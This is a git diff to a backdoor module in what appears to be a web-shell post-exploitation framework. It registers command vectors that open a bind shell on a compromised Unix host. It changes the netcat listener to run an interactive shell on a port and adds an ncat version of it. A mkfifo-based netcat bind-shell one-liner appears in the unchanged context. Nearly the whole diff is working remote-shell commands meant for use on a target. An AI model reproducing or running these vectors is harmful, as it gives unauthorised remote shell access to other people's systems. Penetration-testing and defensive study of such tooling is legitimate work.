diff --git a/modules/backdoor/tcp.py b/modules/backdoor/tcp.py
index 3a44e4e..d83a86d 100644
--- a/modules/backdoor/tcp.py
+++ b/modules/backdoor/tcp.py
@@ -1,10 +1,12 @@
-from core.vectors import PhpCode, ShellCmd, ModuleExec, Os
-from core.module import Module
-from core.loggers import log
-from core import messages
-import urllib.parse
 import telnetlib
 import time
+import urllib.parse
+
+from core import messages
+from core.loggers import log
+from core.module import Module
+from core.vectors import ShellCmd, Os
+
 
 class Tcp(Module):
 
@@ -24,11 +26,17 @@ def init(self):
         self.register_vectors(
             [
             ShellCmd(
-              "nc -l -p ${port} -e ${shell}",
+              "nc -nlp ${port} -c '${shell} -i 2>&1' ",
               name = 'netcat',
               target = Os.NIX,
               background = True
               ),
+            ShellCmd(
+              "ncat -nlp ${port} -c '${shell} -i 2>&1' ",
+              name = 'nc.nmap',
+              target = Os.NIX,
+              background = True
+              ),
             ShellCmd(
               "rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|${shell} -i 2>&1|nc -l ${port} >/tmp/f; rm -rf /tmp/f",
               name = 'netcat_bsd',